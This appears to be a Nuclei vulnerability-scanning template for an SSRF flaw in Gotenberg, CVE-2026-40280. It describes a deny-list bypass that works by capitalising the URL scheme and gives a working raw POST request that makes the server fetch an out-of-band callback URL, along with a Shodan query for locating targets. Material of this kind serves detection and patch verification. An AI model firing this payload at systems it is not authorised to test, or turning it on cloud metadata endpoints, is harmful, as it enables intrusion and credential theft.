id: CVE-2026-40280 info: name: Gotenberg <= 8.30.1 - Server Side Request Forgery author: str4k3r severity: critical description: | Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data. impact: | Unauthenticated SSRF via the downloadFrom feature allows reaching internal services, cloud metadata endpoints, and loopback addresses from the Gotenberg server. remediation: This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0. reference: - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56 - https://nvd.nist.gov/vuln/detail/CVE-2026-40280 - https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47 classification: cve-id: CVE-2026-40280 epss-score: 0.0195 epss-percentile: 0.78909 cwe-id: CWE-918 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N cvss-score: 9.3 metadata: verified: true max-request: 1 vendor: thecodingmachine product: gotenberg shodan-query: http.html:"Gotenberg" tags: cve,cve2026,gotenberg,ssrf,downloadfrom,oast http: - raw: - | POST /forms/chromium/convert/html HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----gotenbergProbe ------gotenbergProbe Content-Disposition: form-data; name="files"; filename="index.html" Content-Type: text/html ssrf-probe ------gotenbergProbe Content-Disposition: form-data; name="downloadFrom" [{"url":"HTTP://{{interactsh-url}}"}] ------gotenbergProbe-- matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - type: word part: interactsh_request words: - "Gotenberg" # digest: 4b0a00483046022100c2890de73f9d4cdf8d76b6235c932fce52e0445d7a82f07f90c4b116d2528a65022100e0ea640e1f92563a51f112f89f6ea97402573f8e63ef3f05d638efdd9c4a7b8f:922c64590222798bb761d5b6d8e72950